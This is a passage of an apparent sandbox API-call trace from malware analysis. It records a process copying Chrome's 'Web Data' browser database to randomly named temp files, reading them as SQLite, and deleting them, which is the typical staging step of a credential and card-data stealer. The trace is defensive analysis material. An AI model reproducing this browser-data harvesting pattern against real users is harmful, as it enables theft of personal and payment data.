HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", len=0x55 | out: pbstr=0x18e0ac*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data") returned 1 [0075.047] SysReAllocStringLen (in: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", len=0x55 | out: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data") returned 1 [0075.047] SysReAllocStringLen (in: pbstr=0x18e0a8*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", len=0x54 | out: pbstr=0x18e0a8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 1 [0075.047] SysReAllocStringLen (in: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", len=0x54 | out: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 1 [0075.047] SysReAllocStringLen (in: pbstr=0x18e0a4*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", len=0x54 | out: pbstr=0x18e0a4*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 1 [0075.047] SysReAllocStringLen (in: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", len=0x54 | out: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 1 [0075.047] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0075.047] SysReAllocStringLen (in: pbstr=0x18e104*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp", len=0x3f | out: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp") returned 1 [0075.047] SysReAllocStringLen (in: pbstr=0x18e0ac*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp", len=0x3f | out: pbstr=0x18e0ac*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp") returned 1 [0075.048] SysReAllocStringLen (in: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp", len=0x3f | out: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp") returned 1 [0075.048] SysReAllocStringLen (in: pbstr=0x18e0a8*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp", len=0x3f | out: pbstr=0x18e0a8*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp") returned 1 [0075.048] SysReAllocStringLen (in: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp", len=0x3f | out: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp") returned 1 [0075.048] SysReAllocStringLen (in: pbstr=0x18e0a4*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp", len=0x3f | out: pbstr=0x18e0a4*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp") returned 1 [0075.048] SysReAllocStringLen (in: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp", len=0x3f | out: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp") returned 1 [0075.048] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web data"), lpNewFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1334742496758174814562.tmp"), bFailIfExists=1) returned 1 [0075.054] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp", cchWideChar=63, lpMultiByteStr=0x18d0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp", lpUsedDefaultChar=0x0) returned 63 [0075.054] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452e278, cbMultiByte=63, lpWideCharStr=0x18d088, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmpeb Datab Data१剔眕㴗眺") returned 63 [0075.054] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0075.054] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp", nBufferLength=0x43, lpBuffer=0x4703ca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp", lpFilePart=0x0) returned 0x3f [0075.054] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1334742496758174814562.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18dec0 | out: lpFileInformation=0x18dec0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7695a10, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb7695a10, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x82d370c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1 [0075.054] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1334742496758174814562.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x440 [0075.054] ReadFile (in: hFile=0x440, lpBuffer=0x18dff0, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x18dfb4, lpOverlapped=0x18df78 | out: lpBuffer=0x18dff0*, lpNumberOfBytesRead=0x18dfb4*=0x64, lpOverlapped=0x18df78) returned 1 [0075.054] strncmp (_Str1="simple", _Str2="porter", _MaxCount=0x7) returned 1 [0075.054] LockFileEx (in: hFile=0x440, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d378 | out: lpOverlapped=0x18d378) returned 1 [0075.055] LockFileEx (in: hFile=0x440, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d36c | out: lpOverlapped=0x18d36c) returned 1 [0075.055] UnlockFileEx (in: hFile=0x440, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18d37c | out: lpOverlapped=0x18d37c) returned 1 [0075.055] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x471b629, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0075.055] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp-journal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1334742496758174814562.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x18d378 | out: lpFileInformation=0x18d378*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0075.055] GetLastError () returned 0x2 [0075.055] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1334742496758174814562.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x18d390 | out: lpFileInformation=0x18d390*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0075.055] GetLastError () returned 0x2 [0075.055] ReadFile (in: hFile=0x440, lpBuffer=0x477d3e0, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x18d398, lpOverlapped=0x18d35c | out: lpBuffer=0x477d3e0*, lpNumberOfBytesRead=0x18d398*=0x800, lpOverlapped=0x18d35c) returned 1 [0075.055] ReadFile (in: hFile=0x440, lpBuffer=0x477cb40, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x18d0b0, lpOverlapped=0x18d074 | out: lpBuffer=0x477cb40*, lpNumberOfBytesRead=0x18d0b0*=0x800, lpOverlapped=0x18d074) returned 1 [0075.055] ReadFile (in: hFile=0x440, lpBuffer=0x477c2a0, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x18d080, lpOverlapped=0x18d044 | out: lpBuffer=0x477c2a0*, lpNumberOfBytesRead=0x18d080*=0x800, lpOverlapped=0x18d044) returned 1 [0075.055] ReadFile (in: hFile=0x440, lpBuffer=0x477ba00, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x18d080, lpOverlapped=0x18d044 | out: lpBuffer=0x477ba00*, lpNumberOfBytesRead=0x18d080*=0x800, lpOverlapped=0x18d044) returned 1 [0075.056] UnlockFileEx (in: hFile=0x440, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18d078 | out: lpOverlapped=0x18d078) returned 1 [0075.056] LockFileEx (in: hFile=0x440, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18dd50 | out: lpOverlapped=0x18dd50) returned 1 [0075.056] LockFileEx (in: hFile=0x440, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18dd44 | out: lpOverlapped=0x18dd44) returned 1 [0075.056] UnlockFileEx (in: hFile=0x440, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18dd54 | out: lpOverlapped=0x18dd54) returned 1 [0075.056] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x471b629, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0075.056] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp-journal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1334742496758174814562.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x18dd50 | out: lpFileInformation=0x18dd50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0075.056] GetLastError () returned 0x2 [0075.056] ReadFile (in: hFile=0x440, lpBuffer=0x18ddd4, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x18ddbc, lpOverlapped=0x18dd80 | out: lpBuffer=0x18ddd4*, lpNumberOfBytesRead=0x18ddbc*=0x10, lpOverlapped=0x18dd80) returned 1 [0075.056] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x471b671, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0075.056] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1334742496758174814562.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x18dd68 | out: lpFileInformation=0x18dd68*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0075.056] GetLastError () returned 0x2 [0075.056] ReadFile (in: hFile=0x440, lpBuffer=0x477b160, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x18dd88, lpOverlapped=0x18dd4c | out: lpBuffer=0x477b160*, lpNumberOfBytesRead=0x18dd88*=0x800, lpOverlapped=0x18dd4c) returned 1 [0075.056] UnlockFileEx (in: hFile=0x440, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18dd38 | out: lpOverlapped=0x18dd38) returned 1 [0075.056] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334742496758174814562.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1334742496758174814562.tmp")) returned 1 [0075.058] SysReAllocStringLen (in: pbstr=0x18e0fc*=0x0, psz="133474", len=0x6 | out: pbstr=0x18e0fc*="133474") returned 1 [0075.080] SysReAllocStringLen (in: pbstr=0x18e098*=0x0, psz="7094", len=0x4 | out: pbstr=0x18e098*="7094") returned 1 [0075.080] SysReAllocStringLen (in: pbstr=0x18e094*=0x0, psz="7316", len=0x4 | out: pbstr=0x18e094*="7316") returned 1 [0075.080] SysReAllocStringLen (in: pbstr=0x18e090*=0x0, psz="1527", len=0x4 | out: pbstr=0x18e090*="1527") returned 1 [0075.080] SysReAllocStringLen (in: pbstr=0x18e08c*=0x0, psz="2395", len=0x4 | out: pbstr=0x18e08c*="2395") returned 1 [0075.080] SysReAllocStringLen (in: pbstr=0x18e108*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", len=0x55 | out: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data") returned 1 [0075.080] SysReAllocStringLen (in: pbstr=0x18e0a0*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", len=0x55 | out: pbstr=0x18e0a0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data") returned 1 [0075.080] SysReAllocStringLen (in: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", len=0x55 | out: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data") returned 1 [0075.080] SysReAllocStringLen (in: pbstr=0x18e09c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", len=0x54 | out: pbstr=0x18e09c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 1 [0075.080] SysReAllocStringLen (in: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", len=0x54 | out: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 1 [0075.080] SysReAllocStringLen (in: pbstr=0x18e098*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", len=0x54 | out: pbstr=0x18e098*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 1 [0075.081] SysReAllocStringLen (in: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", len=0x54 | out: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 1 [0075.081] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0075.081] SysReAllocStringLen (in: pbstr=0x18e104*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp", len=0x3f | out: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp") returned 1 [0075.081] SysReAllocStringLen (in: pbstr=0x18e0a0*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp", len=0x3f | out: pbstr=0x18e0a0*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp") returned 1 [0075.081] SysReAllocStringLen (in: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp", len=0x3f | out: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp") returned 1 [0075.081] SysReAllocStringLen (in: pbstr=0x18e09c*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp", len=0x3f | out: pbstr=0x18e09c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp") returned 1 [0075.081] SysReAllocStringLen (in: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp", len=0x3f | out: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp") returned 1 [0075.081] SysReAllocStringLen (in: pbstr=0x18e098*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp", len=0x3f | out: pbstr=0x18e098*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp") returned 1 [0075.081] SysReAllocStringLen (in: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp", len=0x3f | out: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp") returned 1 [0075.081] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web data"), lpNewFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1334747094731615272395.tmp"), bFailIfExists=1) returned 1 [0075.084] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp", cchWideChar=63, lpMultiByteStr=0x18d09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp", lpUsedDefaultChar=0x0) returned 63 [0075.084] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452e2b4, cbMultiByte=63, lpWideCharStr=0x18d07c, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp") returned 63 [0075.084] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0075.085] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp", nBufferLength=0x43, lpBuffer=0x4703ca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp", lpFilePart=0x0) returned 0x3f [0075.085] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1334747094731615272395.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18deb8 | out: lpFileInformation=0x18deb8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb76e1cd0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb76e1cd0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x82d370c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1 [0075.085] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1334747094731615272395.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0075.085] ReadFile (in: hFile=0x328, lpBuffer=0x18dfe8, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x18dfac, lpOverlapped=0x18df70 | out: lpBuffer=0x18dfe8*, lpNumberOfBytesRead=0x18dfac*=0x64, lpOverlapped=0x18df70) returned 1 [0075.085] strncmp (_Str1="simple", _Str2="porter", _MaxCount=0x7) returned 1 [0075.085] LockFileEx (in: hFile=0x328, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d370 | out: lpOverlapped=0x18d370) returned 1 [0075.085] LockFileEx (in: hFile=0x328, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d364 | out: lpOverlapped=0x18d364) returned 1 [0075.085] UnlockFileEx (in: hFile=0x328, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18d374 | out: lpOverlapped=0x18d374) returned 1 [0075.085] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x471b629, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0075.086] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp-journal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1334747094731615272395.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x18d370 | out: lpFileInformation=0x18d370*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0075.086] GetLastError () returned 0x2 [0075.086] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1334747094731615272395.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1334747094731615272395.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x18d388 | out: lpFileInformation=0x18d388*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0075.086] GetLastError () returned 0x2 [0075.086] ReadFile (in: hFile=0x328, lpBuffer=0x477d3e0, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x18d390, lpOverlapped=0x18d354 | out: lpBuffer=0x477d3e0*, lpNumberOfBytesRead=0x18d390*=0x800, lpOverlapped=0x18d354) returned 1 [0075.086] ReadFile (in: hFile=0x328, lpBuffer=0x477cb40, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x18d0a8, lpOverlapped=0x18d06c | out: lpBuffer=0x477cb40*, lpNumberOfBytesRead=0x18d0a8*=0x800, lpOverlapped=0x18d06c) returned 1 [0075.086] ReadFile (in: hFile=0x328, lpBuffer=0x477c2a0, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x18d078, lpOverlapped=0x18d03c | out: lpBuffer=0x477c2a0*, lpNumberOfBytesRead=0x18d078*=0x800, lpOverlapped=0x18d03c) returned 1 [0075.086] ReadFile (in: hFile=0x328, lpBuffer=0x477ba00, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x18d078, lpOverlapped=0x18d03c | out: lpBuffer=0x477ba00*, lpNumberOfBytesRead=0x18d078*=0x800, lpOverlapped=0x18d03c) returned 1 [0075.086] UnlockFileEx (in: hFile=0x328, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18d070 | out: lpOverlapped=0x18d070) returned 1 [0075.086] LockFileEx (in: hFile=0x328, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, 